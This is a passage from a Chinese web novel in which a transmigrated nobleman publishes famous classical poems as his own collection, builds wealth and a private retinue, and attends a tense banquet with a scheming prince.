只见一个年过半百,身穿锦缎长袍,留着山羊胡的老者,在几个伙计的簇拥下,三步并作两步地从楼梯上冲了下来。
他就是文渊阁的大掌柜,孙思源。
孙掌柜挤开人群,快步走到谢宁面前,连气都来不及喘匀,便是一个九十度的大躬。
“老朽孙思源,不知世子大驾光临,有失远迎,还望世子恕罪!”
他的声音因为激动而微微颤抖。
作为文渊阁的掌柜,他比任何人都清楚,诗仙这两个字,如今在大齐文坛意味着什么。
那是一座无法逾越的高山!
“孙掌柜不必多礼。”
谢宁虚扶一把,开门见山地说道:“今日冒昧来访,是有一桩生意,想与文渊阁谈谈。”
“生意?”孙思源一愣,随即大喜过望。
“世子但说无妨,只要是老朽能办到的,一定万死不辞!”
“我想,在贵阁出本书。”
轰!
谢宁的话,如同一颗重磅**,在孙思源和周围所有人的脑海中,轰然炸响!
诗仙……要出书了!
整个文渊阁,陷入了一种诡异的寂静。
所有人的呼吸,都在那一瞬间,停止了。
每个人的脸上,都写满了极致的震惊与狂喜。
诗仙要出书了!
这个消息,比皇帝要纳妃,比邻国要来犯,还要震撼人心!
孙思源,这位在商海沉浮了半辈子,见惯了大风大浪的老掌柜,此刻感觉自己的心脏都快要从喉咙里跳出来了。
第九十二章 这世间,再无诗词
他用尽全身的力气,才控制住自己没有当场失态。
他的嘴唇哆嗦着,声音都变了调。
“世……世子,您说的是真的?”
“自然是真的。”谢宁的笑容依旧云淡风轻,仿佛在说一件微不足道的小事。
“好!好!好啊!”孙思源激动得连说了三个好字,一张老脸涨得通红。
“世子,此地人多眼杂,请随老朽到楼上雅间详谈!”
他立刻侧过身,恭恭敬敬地做了一个请的手势,那姿态,已然放得极低极低。
谢宁点了点头,跟着孙思源,在无数道狂热目光的注视下,缓步走上了二楼。
很快,几人上到一间装饰典雅,书香四溢的雅间。
孙思源亲自为谢宁沏上一壶顶级的雨前龙井,然后才小心翼翼地问道:“不知世子打算出一部怎样的惊世之作?”
他已经用上了惊世之作这样的词,因为在他看来,以谢宁的身份,出的必然是惊世之作。
谢宁没有说话,只是从清风手中,接过了那个用锦布包裹好的书稿,轻轻地放在了桌上。
“孙掌柜,请过目。”
孙思源的心猛地一跳。
他搓了搓手,怀着一种近乎朝圣般的虔诚心情,小心翼翼地伸出手,将那本还散发着墨香的书稿,捧在了手里。
书稿**,约莫五六十页的样子。
封面上,是四个龙飞凤舞的大字。
《瀚海诗集》。
简单,直接,却又透着一股睥睨天下的霸气。
孙思源深吸一口气,缓缓地翻开了第一页。
映入眼帘的,是咏物篇第一首,《望庐山瀑布》。
“日照香炉生紫烟,遥看瀑布挂前川。”
仅仅是开篇第一句,孙思源的瞳孔,便猛地一缩!
好大的气魄!
他仿佛已经看到了那座在日光照耀下,紫烟缭绕的香炉峰。
他迫不及待地往下看去。
“飞流直下三千尺,疑是银河落九天!”
当最后一句映入眼帘时,孙思源只觉得脑中“嗡”的一声,整个人如遭雷击,彻底僵在了原地。
他的眼中,哪里还有什么雅间,什么茶杯。
只剩下那条从九天之上倾泻而下,长达三千尺的银色天河!
那股雄浑壮阔,豪迈奔放的意境,如同一只无形的大手,死死地扼住了他的喉咙,让他几乎无法呼吸!
震撼!
前所未有的震撼!
他这辈子,读过的诗没有一万,也有八千。
可没有一首,能像眼前这首一样,仅仅二十八个字,就勾勒出如此惊心动魄,气吞山河的画面!
他的手,开始不受控制地颤抖起来。
他颤抖着,翻开了第二页。
《春夜喜雨》。
“好雨知时节,当春乃发生。随风潜入夜,润物细无声。”
如果说上一首是奔腾的江河,那这一首,便是温柔的春雨。
那份细腻入微的观察,那份润物无声的喜悦,让孙思源的心,都跟着柔软了下来。
他又翻开了第三页。
《赋得古原草送别》。
“离离原上草,一岁一枯荣。野火烧不尽,春风吹又生。”
读到这一句,孙思源的身体,猛地一震!
他仿佛看到的,不是草,而是一种坚韧不拔,生生不息的顽强生命力!
这已经不是在写诗了!
这是在写道!是在写天地至理!
孙思源的呼吸,已经变得无比粗重。
他像是疯了一样,一页一页地往下翻。
“天呐,天呐!”
孙思源懵了,每一首,他看到的每一首诗,都像是一颗璀璨夺目的明珠,闪耀着令人无法直视的光芒!
这些诗风格迥异,或豪放,或婉约,或雄浑,或恬淡。
但无一例外,每一首,都达到了人类语言艺术的巅峰!
任何一首单独拿出来,都足以名垂青史,成为一代经典!
可现在,整整五十首这样的传世之作,就这么云淡风轻地,汇集在了这一本薄薄的诗集里!
这是何等恐怖的一件事!
孙思源的脸色,从涨红变成了煞白。
他的额头上渗出了细密的冷汗。
他捧着书稿的手,抖得像是得了羊癫疯。
他背后的文渊阁,靠的
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是整个大齐文坛。
他见识过无数所谓的大儒、才子。
可那些人的作品,在眼前这本诗集面前,简直就像是三岁孩童的涂鸦,连提鞋都不配!
这不是在写书。
这是在降下神迹!
孙思源有一种荒谬的感觉。
他觉得,眼前这本诗集一旦问世。
那么,从此以后,这世间,将再无诗词。
因为所有的意境,所有的辞藻,所有的情感,都已经被这本书写到了极致,写到了尽头!
后人,再也无法超越!
“扑通!”
孙思源再也支撑不住,双腿一软,竟是直接跪倒在了谢宁的面前。
他高高地举起那本诗集,如同举着一道圣旨,声音里,充满了颤抖、敬畏,与狂热。
“世子……不,诗仙在上,老朽……老朽今日,方知何为诗啊!此书一出,必将光耀千古,万世流芳!我文渊阁,愿倾尽所有,为诗仙您刊印此书!”
他激动得语无伦次,甚至对着谢宁重重地磕了一个头。
他知道,自己正在见证一个历史的诞生。
而他,孙思源,将是这个历史的第一位,也是最荣幸的见证者!
看着跪在地上,激动得老泪纵横的孙思源,谢宁的脸上依旧是那副风轻云淡的表情。
这一切,都在他的预料之中。
这些凝聚了华夏数千年文明精华的诗篇,对于这个世界的降维打击,是碾压性的,是毁灭性的。
他不怕对方不识货。
他怕的是对方的心脏承受不住这份过于巨大的惊喜。
“孙掌柜,请起。”
谢宁端起茶杯,轻轻抿了一口。
“我们还是来谈谈生意上的事吧。”
“生意?”
孙思源被清风扶了起来,听到生意二字,他老脸一红,连忙摆手。
“诗仙您这是说的哪里话,能为您刊印这部神作,是我文渊阁三生有幸,是老朽八辈子修来的福分!谈钱,那不是玷污了这部书,玷污了您么?”
他一脸正气地说道:“老朽斗胆做主,此书刊印的一切费用,全部由我文渊阁承担!”
第九十三章 我的个老天世子爷啊
“所得润笔费,老朽一文不取,皆按照最高规格分与世子。”
孙思源这番话说得是慷慨激昂,大义凛然。
谢宁心中却是冷笑一声。
这老狐狸,算盘打得倒是精明。
他看似分文不取,实则是想用这种方式,将自己和诗仙这个名号彻底与文渊阁捆绑在一起。
只要这本书是从文渊阁出去的,那文渊阁的声望,必将水涨船高,达到一个前所未有的高度。
这种无形的资产,是多少钱都买不来的。
到时候,他孙思源,就是整个大齐文坛的伯乐,是诗仙的知己,名利双收。
更何况,据他所知,这润笔费的规格可不高。
想得倒是挺美。
“孙掌柜的好意,我心领了。”
谢宁放下茶杯,声音不大,却透着一股不容置疑的意味。
“不过,一码归一码。生意,就是生意。”
孙思源见他态度坚决,心中一凛,不敢再耍小聪明,连忙躬身道:“是是是,老朽愚钝,还请诗仙示下。”
“我的条件很简单。”谢宁伸出三根手指。
“第一,这本书,我要用最好的纸张,最好的墨,以最快的速度刊印出来。”
“我要在半个月之内,让整个大齐王朝,从南到北,从东到西,每一个郡,每一个县,都能看到这本书。”
孙思源倒吸一口凉气。
半个月,铺满整个大齐?
这个要求,简直是疯狂!
要知道,光是从建安到边境,快马加鞭都要十天半个月。
这不仅仅是钱的问题,更需要一个无比庞大的发行线。
“诗仙,这……这恐怕有些……”
孙思源面露难色。
“办不到?”谢宁的眼神,淡淡地瞥了他一眼。
那眼神很平淡,却让孙思源感觉像是被一座大山压住,瞬间冷汗直流。
他知道,如果自己说办不到,那这桩天大的机缘,可能就要从自己手中溜走了。
他咬了咬牙,一拍大腿:“办得到!老朽就是不吃不睡,发动文渊阁所有的关系,也一定在半个月内,让诗仙的大作传遍大齐!”
“很好。”谢宁满意地点了点头,伸出了第二根手指。
“第二,关于利润。我不要你们的钱,我要分成。”
“分成?”孙思源一愣,这是个很新颖的词。
“没错。”谢宁解释道,“这本书卖出去的所有收入,刨去纸张、印刷、运输等人力成本,剩下的纯利润,我们按比例来分。”
“我,七成。你们文渊阁,三成。”
“嘶!”
孙思源再次倒吸一口凉气。
七三分成!
而且还是诗仙拿七成!
这……这简直是闻所未闻!
要知道,寻常书生来卖书稿,能拿到一成的润笔费,都算是书局开恩了。
可他转念一想,又觉得无比合理。
因为这本书,根本就不能用常理来衡量!
它的价值是无限的!
别说三成利润,就算只给文渊阁留一成,那也将是一笔天文数字般的财富!
“没问题!”孙思源想都没想,立刻点头答应。
“就按诗仙您说的办,七三分!”
他现在已经彻底被那本诗集征服了,别说七三,就是九一,他都认了!
“最后一个条件。”
谢宁的嘴角勾起一抹玩味的弧度。
“我需要一笔预付款。”
“预付款?”
“对。”谢宁看着他,缓缓说出了一个数字。
“十万两白银。”
“十……十万两!”
孙思源的眼珠子都快瞪出来了,他失声惊呼,差点又一屁股坐到地上去。
十万两!
我的个世子老天爷啊,你知不知道你在说什么?
这哪里是预付款,这简直是要把他文渊阁的流动资金,一次性全部掏空啊!
就算是当朝宰相,想一次性拿出十万两现银,都得伤筋动骨吧。
这个年轻人,不,这位诗仙,他的胃口是不是太大了!
“怎么?孙掌柜觉得,我这本书,不值十万两?”谢宁的语气,依旧平淡。
“值!当然值!”孙思源想也不想地回答。
别说十万两,在他看来,这本书的价值,百万两,千万两,都无法衡量。
可是,值是一回事,能不能拿出来,又是另一回事
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。
他哭丧着脸道:“诗仙,您有所不知。老朽这文渊阁看着风光,但十万两现银……实在是周转不开啊!”
“那是你的事。”谢宁站起身,作势欲走。
“既然文渊阁拿不出,那我就只好去问问翰林轩,或者清流斋了。”
“别!别啊诗仙!”
孙思源一听这话,魂都快吓飞了。
他一把抱住谢宁的大腿,急得都快哭了。
开什么玩笑!
让这本神作落到对头翰林轩的手里?
那他孙思源就可以直接买块豆腐撞**!
“诗仙,您息怒,您息怒啊!”孙思源脑门上的汗,跟下雨似的,“十万两,我给!我给还不行么!”
他咬着牙,像是做出了什么重大的决定。
“三天,请诗仙给老朽三天时间!我就是砸锅卖铁,变卖家产,也一定把十万两银票送到您的府上!”
他决定了,就是动用自己背后那些文坛大儒的关系,也要去向几个相熟的钱庄借贷!
无论如何,一定要促成这笔交易!
因为他知道,这不仅仅是一笔生意。
这是一场豪赌。
赌赢了,他孙思源和文渊阁,将名垂青史,万古流芳。
他必须拿下。
……
文渊阁的效率,比谢宁想象中还要高。
仅仅第二天下午,孙思源就亲自登门拜访,身后跟着两个抬着沉甸甸木箱的伙计。
“诗仙,幸不辱命,幸不辱命啊。”
孙思源红光满面,精神矍铄,仿佛年轻了十岁。
他将一份拟好的契约,和一张张整整齐齐的万两银票,恭敬地呈到了谢宁的面前。
十万两,分文不差。
谢宁看了一眼那厚厚一沓的银票,饶是以他的心性,也不由得心头一热。
在这个一两银子,就够普通人家一个月开销的时代,十万两,无疑是一笔足以让任何王公贵族都为之侧目的巨款。
而这,仅仅只是一个开始。
“孙掌柜,辛苦了。”谢宁收下银票和契约,满意地点了点头。
“不辛苦,不辛苦!为诗仙办事,是老朽的荣幸!”孙思源笑得合不拢嘴。
第九十四章 有钱可劲儿造
“印刷之事,老朽已经安排下去了。全建安最好的刻版师傅和印刷工匠,已经全部被我请到了文渊阁,二十四小时轮班,日夜赶工!”
“同时,通往全国各地的驿站,我也已经打点好了,保证半月之内,让《瀚海诗集》的大名,响彻大齐每一个角落!”
他的眼中,同样野心勃勃。
这本诗集的拓印稿,他已经连夜上报了几位大儒,听说其中一位资历最老的在看完后,直接瘫在地上起不来,笑了一天一夜,嘴都笑歪了。
他已经可以预见,一场席卷整个大齐的文化风暴,即将在他的手中拉开序幕。
送走了孙思源,谢宁看着桌上那十张万两银票,心中豪情万丈。
有了这第一桶金,他建立自己势力的计划,终于可以正式启动了。
“清风,明月,红鲤。”
他将自己的三个心腹叫到了书房。
当看到桌上那堆积如山的银票时,即便是沉稳如清风,冷峻如明月,眼中也闪过了一丝难以掩饰的震惊。
他们跟着长公主多年,也算是见惯了富贵。
可一次性见到如此巨额的现银,还是第一次。
只有红鲤,她的眼神,只是在那银票上停留了一瞬,便重新恢复了古井无波。
对她而言,钱财,早已是身外之物。
她的眼中,只有谢宁。
“从今天起,我们的计划正式开始。”
谢宁的声音在安静的书房内响起,带着一股令人信服的力量。
“清风。”
“属下在!”
“我给你三万两。你去城西,找一个叫铁臂张三的退伍老兵。他原是雁门关的百夫长,作战勇猛,为人仗义,后因得罪上官,被革职回乡。”
“我要你以我的名义,将他招致麾下。并且,让他利用自己的人脉,为我们招募一批像他一样,身手不凡,忠勇可靠的退伍老兵。”
“人,不必多,贵在精。我要的,是能以一当十的精锐!”
“是!”清风领命,眼中战意盎然。
“明月。”
“属下在!”
“我同样给你三万两。你的任务,是去建立一个属于我们自己的情报网络。从建安城开始,我要你收买所有三教九流的人物,乞丐、小贩、青楼女子、茶馆说书人……”
“只要能提供情报,都给我用钱砸!我要整个建安城内任何风吹草动,都瞒不过我们的眼睛!”
“是!”明月的声音,一如既往的简洁,却透着一股冰冷的杀气。
“红鲤。”谢宁的目光,最后落在了红鲤身上。
“属下在。”红鲤单膝跪地。
“我给你四万两。”
谢宁的声音,放缓了一些。
“你的任务最重,也最危险。我要你去寻找那些被权贵欺压,身负血海深仇,却无处申冤的江湖奇人。”
“我要你找到他们,用你的经历去打动他们,用金钱去帮助他们。告诉他们,我谢宁可以给他们一个复仇的机会,一个安身立命之所。”
“我要你,为我打造一支藏在黑暗中的利剑。当然,在这之前,你得先自己强大起来,我给你一年时间。”
“属下,遵命!”红鲤抬起头,眼中那死寂的火焰,重新燃烧起来。
这个任务,仿佛是为她量身定做。
她知道,这个世界上还有很多像她一样的人。
而她,将成为他们的引路人,将他们带到这位能够给予他们希望的人面前。
三人领了银票和命令,没有丝毫拖沓,立刻转身离去。
书房里,只剩下谢宁一人。
他知道,自己撒下的种子,已经开始生根发芽了。
接下来,就是等待。
等待这些种子,成长为足以撼动参天大树的藤蔓。
……
半个月后。
《瀚海诗集》正式在整个大齐王朝同步发售。
其引发的轰动,比孙思源预想的还要疯狂百倍!
发售第一天,全国百万册的库存被抢购一空!
无数的学子,为了能买到一本诗集,彻夜在书局门口排队。
一本原价一两银子的诗集,在黑市上被炒到了十两,甚至百两的天价,依旧是有价无市!
整个大齐
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,彻底陷入了一场读诗,背诗,作诗的狂热之中。
文人墨客,以能背诵《瀚海诗集》中的诗篇为荣。
王公贵族,以能在宴会上吟诵一首谢宁的诗为雅。
就连边关的将士,都在操练之余,高声吟唱着黄沙百战穿金甲,不破楼兰终不还!
虽然他们不明白楼兰是什么地方,但其中蕴含的气势,却足以弥补一切。
谢宁的名字,和他诗仙的名号一样,响彻了整个大齐。
可以说他目前的影响力,达到了一个前所未有的巅峰。
而随之而来的,是如同潮水般涌入文渊阁,再通过秘密渠道,源源不断汇入谢宁府中的巨额财富。
第一个月,分到谢宁手上的纯利润,就高达三十万两!
第二个月,五十万两!
第三个月,这个数字,已经突破了百万!
富可敌国,不再是一句玩笑话。
当谢宁的名字和他的诗集,如同一场文化海啸席卷整个大齐时,建安城的上空,也开始有暗流在悄然涌动。
相国府。
宇文太极坐在书房里,面色阴沉得能滴出水来。
他的面前,摆着一本装帧精美的《瀚海诗集》。
这本书,他已经翻来覆去看了不下十遍。
每看一遍,他心中的惊骇和嫉妒,就加深一分。
他自诩也是一代文宗,可他的那些作品,与这本诗集相比,简直就是云泥之别。
“父亲,您还在为那谢宁的事烦心?”
一个声音从门口传来,正是他的大儿子,宇文龙。
“哼!”宇文太极冷哼一声,将诗集重重地摔在桌上。
“此子不死,必成我宇文家心腹大患!”
他原本以为,谢宁不过是个有点小聪明的黄口小儿,凭着几分运气,才在御花园侥幸胜了宇文月。
可现在看来,他错得离谱。
此子的才华,已经不是凡人能够揣度的了。
更可怕的是,他不仅有才,还懂得如何将才华,变成影响力和财富!
如今的谢宁,已不是那个可以随意拿捏的侯府弃子了。
第九十五章 暗流涌动
“父亲息怒。”宇文龙劝道。
“此子虽然势大,但也并非没有破绽。他锋芒太露,如今更是富甲一方,不知有多少人在暗中盯着他。”
“木秀于林风必摧之的道理,父亲您还不懂么,我们只需静观其变即可。”
“静观其变?”宇文太极冷笑,“等到他羽翼丰满,我们就只能任他宰割了,月儿现在怎么样了?”
提到自己的弟弟,宇文龙的脸上,闪过一丝黯然。
“还是老样子。自从那日从宫中回来,便将自己锁在房中,折了笔,烧了书,整日浑浑噩噩,人已经彻底废了。”
“废物!”宇文太极一拳砸在桌上,眼中满是失望和愤怒。
他最引以为傲的儿子,竟然被谢宁用几首诗,就彻底击垮了心志。
这对他来说,是奇耻大辱!
“传我命令下去。”
宇文太极的声音变得冰冷无比。
“让下面的人给我盯紧了谢宁,此子一定会有大动作。”
“是!”
……
贤王府。
与相国府的愁云惨淡不同,贤王李贤的脸上,却带着一丝饶有兴致的笑容。
他同样在看那本《瀚海诗集》。
“有意思,真是有意思。”
他放下书,对着身旁一个黑衣谋士道:“本王倒是小看这个谢宁了,竟能写出这等惊世骇俗的诗篇,这份能耐,可不像是装出来的。”
“王爷,”那黑衣谋士躬身道,“此子的确是个异数。据我们安插在京兆尹府的眼线回报,前些日子,城西丐帮被剿灭一事,背后就是他在主导。”
“而且,他还从丐帮里收了一个身手不凡的女人。”
“哦?”贤王来了兴趣,“还有这等事?”
“不仅如此。”
谋士继续道:“最近几个月,此子通过卖书,至少敛财百万两。并且,他暗中招募了大批退伍老兵和江湖人士,在城郊外置办了一处秘密庄园,似乎是在练兵。”i
“练兵?”贤王脸上的笑容更盛了。
“一个侯府世子,一个名满天下的诗仙,他不待在府里吟诗作对,跑去城外练兵?呵呵,他想干什么,谋逆?”
“王爷的意思是……”
贤王的脸色瞬间沉了下来,他当然知道谢宁不是为了谋逆。
“看来,大佛寺的事情,他已经查到了一些蛛丝马迹。这个年轻人比本王想象的还要聪明,还要敏锐。”
“那我们是否要……”
谋士做了一个抹脖子的手势。
“不。”
贤王摆了摆手,眼中闪过一丝猫捉老鼠般的戏谑。
“现在杀他太无趣了,本王倒是很想看看,他拿着这点钱,招募了几个乌合之众,能掀起多大的浪花来。”
他站起身,走到窗前,看着远方定远侯府的方向。
“本王很寂寞啊。这么多年,对手一个个倒下,实在是无趣得很。好不容易来了这么一个有意思的玩具,可不能这么快就玩坏了。”
他顿了顿,对谋士吩咐道:“去,给他送份请柬。就说本王久仰诗仙大名,想请他来府上一叙,一同品鉴一下诗词歌赋。”
“同时派人去宫里散布消息,就说定远侯府在民间大肆敛财,还在城郊暗中培养兵士,我能忍,朝中那些大臣还能忍么。”
“王爷英明!”谋士瞬间明白了贤王的意图。
这是要敲山震虎,也是要借刀**啊。
“本王倒要亲眼看看。”
贤王嘴角的笑意骤然变得森然冰冷。
“这所谓的诗仙,究竟是真有三头六臂,还是,只是一个不知天高地厚的愣头青。”
……
城郊,秘密庄园。
喊杀声震天。
上百名赤着上身的精壮汉子,正在烈日下进行着严酷的操练。
这些人正是清风招募来的退伍老兵。
他们每一个人的眼神,都如同饿狼一般,充满了彪悍的杀气。
在不远处的另一片场地上,明月也正在训练着招募来的人手。
这些人中,有身法诡异的刺客,有擅长追踪的探子,也有目光狠戾,一看就不是善茬的江湖亡命徒。
其中,还有一抹红衣身影,正是红鲤。
就连明月就震惊了,红鲤看上去弱不禁风,可其身上所蕴含的能量简直不可估量。
现在也就训练了几个月而已,已
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经不输于她了。
而在不远处的瞭望台上,谢宁平静地看着这一切。
三个月的时间,他用金钱和诚意,已经为自己打造出了一支初具规模的私人武装。
这支力量,虽然人数不多,但每一个人,都是精英中的精英。
他们将是谢宁手中最锋利的一把刀。
就在这时,一个护院匆匆跑上瞭望台。
“世子,府里传来消息,贤王府派人,给您送来了一份请柬。”
来了。
谢宁的眼中,精光一闪。
他知道,自己这段时间的动作,不可能瞒过贤王。
这条蛰伏已久的老狐狸,终于要出手试探了。
“我知道了。”
谢宁的脸上,露出一丝冷冽的笑容。
“回府。”
定远侯府,书房。
一张烫金的请柬,静静地躺在桌上。
上面用优雅的簪花小楷写着:久仰诗仙大名,天下文宗,本王心向往之。
三日后,特备薄酒,于府中静候大驾,共赏风月,同品佳篇。
落款是李贤。
字里行间,透着一股礼贤下士的谦逊。
可谢宁却能从那笔锋的顿挫之间,感受到一股隐藏极深的傲慢与杀机。
这不是请柬。
这是一封战书。
“公子,这分明就是鸿门宴,您不能去!”
“是啊,公子。”
明月也难得地多说了几个字。
“这贤王府必是龙潭虎穴,此去,凶险万分。”
红鲤没有说话,但她握着剑柄的手,已经因为用力而发白。
只要谢宁一声令下,她今晚,就敢夜闯贤王府。
谢宁看着他们紧张的神情,却是轻笑一声。
“你们觉得,我若是不去,他就会放过我吗?”
三人皆是沉默。
答案,是否定的。
“他既然敢请,就说明他已经做好了万全的准备。”
谢宁的指尖,在请柬上轻轻敲击着。
“这不仅仅是一场宴会,更是一场心理上的博弈。我若是不去,便是示弱,正中他的下怀。从此以后,气势上,我便输他一筹。所以,这一趟,我非去不可。”
第九十六章 王府一宴
谢宁站起身,走到窗前,目光深邃。
“更何况,我也很想见识一下,这位隐藏在幕后,搅动了整个大齐风云的贤王,究竟是个什么样的人物。”
他转过身,看着自己的三位心腹,脸上露出了自信的笑容。
“放心,他想杀我,还没那么容易。”
他顿了顿,眼中闪过一丝狡黠的光芒。
“他以为,这是他为我设下的局。但他又怎么会知道,我也同样,在等着他出招。”
“他不是想品鉴诗词歌赋吗?那我就送他一份大礼。”
……
三日后,黄昏。
贤王府门前,张灯结彩,戒备森严。
一辆低调而奢华的马车,缓缓停在了门口。
车门打开,谢宁一袭白衣,纤尘不染,缓步而下。
他的身后,没有带清风,也没有带明月,只跟了一个抱着古琴,蒙着面纱的女子。
正是红鲤。
“恭迎谢世子!”
早已在门口等候的王府管家,立刻满脸堆笑地迎了上来。
“世子大驾光临,王府蓬荜生辉啊!王爷已在水榭等候多时了。”
“有劳了。”谢宁淡淡地点了点头。
在管家的引领下,谢宁穿过层层回廊,走过座座假山。
他能清晰地感觉到,在这座看似平静的王府之中,暗处,隐藏着无数道凌厉的气息。
每一个转角,每一棵树后,都可能藏着致命的杀机。
这戒备,竟比皇宫还要森严。
终于,他们来到了一处临湖而建的水榭。
水榭之中,一个身穿紫色王袍,面容儒雅,气质雍容的中年男子,正临窗而坐,悠然地品着茶。
他的身上没有丝毫的杀气,反而透着一股学究天人的书卷气。
若不是事先知道他的身份,任谁看了,都会以为他是一位德高望重的大儒。
此人,正是当朝贤王,李贤。
“谢宁,你终于来了。”
看到谢宁,李贤缓缓放下茶杯,站起身,脸上露出了和煦的笑容。
“本王等你,已经很久了。”
他的目光,在谢宁身上打量了一番,随即,又落在了他身后抱着琴的红鲤身上。
“这位是……”
“我的一个侍女,擅长抚琴,今日特带来,为王爷与我的雅会助助兴。”谢宁不卑不亢地回答。
“哦?哈哈哈,好!”贤王大笑起来,“诗仙雅兴,本王佩服!请坐!”
两人分主宾落座。
酒菜,早已备好。
皆是世间罕见的珍馐美味。
“听闻世子近日出版的《瀚海诗集》,一本难求啊。”
贤王亲自为谢宁斟上一杯酒,浪声笑道。
“本王有幸得了一本,拜读之后,当真是惊为天人。今日能与诗仙当面对饮,实乃本王三生之幸!”
他举起酒杯,一饮而尽,姿态豪爽。
谢宁只是笑了笑,端起酒杯,却并未饮下。
“王爷谬赞了。”
贤王看着他那滴酒未沾的杯子,眼中闪过一丝不易察觉的寒光,但脸上的笑容,却依旧温和。
“世子为何不饮?莫非,是怕本王在这酒里下毒吗?”
此话一出,水榭中的空气,瞬间凝固。
数道隐藏在假山,树后的凌厉气息,如同被拉满的弓弦,刹那绷紧。
似乎只要谢宁露出半分怯意,或是说错一个字,等待他的,便是雷霆万钧的绝杀。
一旁的王府管家,脸上堆着的笑意已经僵硬,额角也渗出了细密的冷汗。
然而,谢宁的脸上依旧是那副云淡风轻的模样。
他甚至没有去看那杯酒,而是将目光投向了水榭外那片被晚霞染成金色的湖面。
“王爷说笑了。”
他的声音清朗,没有丝毫的波澜,在这死寂的水榭中,清晰地传进了每个人的耳中。
“这酒,是天下一等一的好酒。这景,也是建安城独一无二的美景。如此良辰美景,如此佳酿,当为贺功之酒,当为庆胜之酒。”
谢宁缓缓收回目光,看向李贤,嘴角勾起一抹玩味的弧度。
“我与王爷的局,尚在开盘,胜负未分,此刻饮酒,岂不是太早了些?”
此言一出,李贤的瞳孔猛地一缩。
好一个谢宁。
他没有直接回答怕不怕毒,而是将这场宴会,直接定
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义成了一场对弈的开局!
他似乎是在说,你所有的布置,所有的杀机,我都看在眼里。
酒喝不喝,已然没那么重要了。
这已经不是狂妄了,而是一种极致的自信。
“哈哈哈……好,说得好!”
李贤愣了片刻,随即爆发出一阵爽朗的大笑,打破了僵持补下的气氛。
他双手鼓掌,仿佛真的听到了什么绝世妙言。
“不愧是名满天下的诗仙,果然是快人快语,本王就喜欢你这样的性子!”
他挥了挥手,那股几乎要将人撕碎的杀气,如潮水般退去。
“来人,将这酒撤下。给谢世子换上他最喜欢的雨前龙井。”
管家如蒙大赦,连忙手脚麻利地换上了新茶。
危机,似乎在无形中化解。
但谢宁知道,这只是开始,真正的交锋,现在才拉开序幕。
李贤端起茶杯,轻轻吹了口气,状似无意地道:“本王听说,世子近日在城郊置办了一处庄园,招募了不少人手,日夜操练,动静不小啊。”
话音刚落,谢宁心中冷笑。
还真是老狐狸。
他端起茶杯,轻轻抿了一口,神色坦然地迎上李贤探究的目光。
“确有此事。”谢宁毫不避讳地承认了。
他越是坦荡,李贤的眉头便皱得越深。
他原本以为谢宁会百般狡辩,却没想到他竟如此干脆。
“哦?”
李贤的兴趣更浓了。
“世子乃是文人表率,侯府贵胄,招募那么多人手,莫非……是想效仿古之名将,为国练兵不成?”
这句话,看似是夸赞,实则暗藏杀机。
为国练兵?
你一个没有兵权的侯府世子,练的是哪门子的兵,给谁练的兵。
这话若是传出去,便是跳进黄河也洗不清的谋逆大罪。
谢宁却像是没听出话里的陷阱,反而一脸认真地点了点头。
“王爷慧眼如炬,一语中的。”
李贤彻底被搞糊涂了。
谢宁承认了?
他就这么承认了?
这年轻人,究竟是胸有成竹,还是真的蠢到不知天高地厚?
第九十七章 轻松化解
谢宁放下茶杯,才又悠悠道,“王爷只知其一,不知其二。我训练那些人,确实是为了迎接一场盛事,一场关乎我大齐国体颜面的盛事。”
“盛事?”李贤眯起了眼睛。
“没错。”
谢宁的脸上,浮现出一丝神秘的笑容。
“待到时机成熟,王爷自然便会知晓。届时,说不定还需要王爷鼎力相助呢。”
谢宁又把皮球轻飘飘地踢了回去。
李贤盯着谢宁看了半晌,企图从他脸上找出一丝可能存在的破绽。
可谢宁年轻俊逸的脸上,只有一片令人捉摸不透的深邃。
他忽然觉得,自己像是面对着一团迷雾,无论他如何试探,都无法看清迷雾背后的真相。
这种感觉,让他很不舒服。
一直沉默着,如同木雕般抱着古琴的红鲤,此刻能清晰地感觉到,自己背后的衣衫已经被冷汗浸湿。
她的手始终紧紧地扣在琴身之下,那里藏着一柄可吹毛断发的软剑。
只要贤王有任何异动,她会毫不犹豫地出剑。
水榭中的气氛,再次变得微妙起来。
良久,贤王再度笑了起来,只是这次的笑声,明显带了几分冷意。
“好啊谢宁,你总是能给本王带来惊喜。”
他拍了拍手,继而道:“既然世子此有雅兴,那本王也不能扫兴。”
“空谈无趣,不如我们来玩个游戏如何?”
“王爷请讲。”
“你我皆是爱文之人。今日,便以这湖光山色为题,以你我胸中抱负为引,各自赋诗一首如何?”
贤王眼中闪烁着异样的光芒。
他死死地盯着谢宁,一字一顿地说道:“诗题就叫……”
“野心罢!”
野心?
当这两个字从贤王口中吐出时,水榭内的气氛又一次变得凝重起来。
谢宁也诧异地看了贤王一眼,内心暗道老狐狸就是老狐狸。
贤王这是想要以诗示人啊。
若谢宁的诗中流露出半分不臣之心,则正中他下怀。
他可借此拉拢,或是直接以此为证,将谢宁彻底钉死。
若谢宁的诗畏畏缩缩,故作清高,那便是在他这位贤王面前露了怯,气势上便输了三分,以后再想抬头,难上加难。
这几乎是一个两难的死局。
王府管家已经吓得快要跪倒在地,他从未见过王爷用如此逼人的姿态去对待一个人。
红鲤扣着剑柄的手指已经略微有些僵硬,她甚至已经做好了准备,一旦谢宁的处境有丝毫危险,她便会以命相搏,为他杀出一条血路。
然而,谢宁的反应,却再次出乎了所有人的预料。
他非但没有丝毫的紧张,反而抚掌一笑,赞道:“好题目,王爷果然是胸怀天下之人,一出手,便是这等气魄万千的题目。”
他对着李贤做了一个请的手势,微笑道:“王爷是主,在下是客,理应由王爷先请。”
贤王深深地看了他一眼,也没推辞。
他知道,今日若不能在气势上彻底压倒这个年轻人,以后再想掌控他,便不可能了。
他缓缓站起身,走到水榭的栏杆前,负手而立。
晚风吹动他紫色的王袍,猎猎作响。
望着眼前沉沉的夜色,以及夜色中那座巍峨的皇城轮廓,一股压抑了多年的磅礴之气,骤然爆发!
贤王沉默了片刻,像是在酝酿情绪,随即,用一种低沉而雄浑的声音,朗声吟道:“潜龙久卧深潭水,只待风雷动九天!”
仅仅一句,一股压抑不住的勃勃野心,便如同一条挣脱了束缚的蛟龙,冲天而起!
水榭周围的护卫们,听到这句诗,个个眼神狂热,呼吸急促,身上那股铁血杀伐之气,再也无法掩饰。
李贤没有停顿,声音愈发高亢。
“王侯将相非天种,皇图霸业谈笑间!”
话音落下,众人只觉耳中轰隆作响。
这句诗就如同一道惊雷,在众人耳边骤然炸响。
谢宁也是双眼微眯,小声喃喃道:“王侯将相,宁有种乎?”
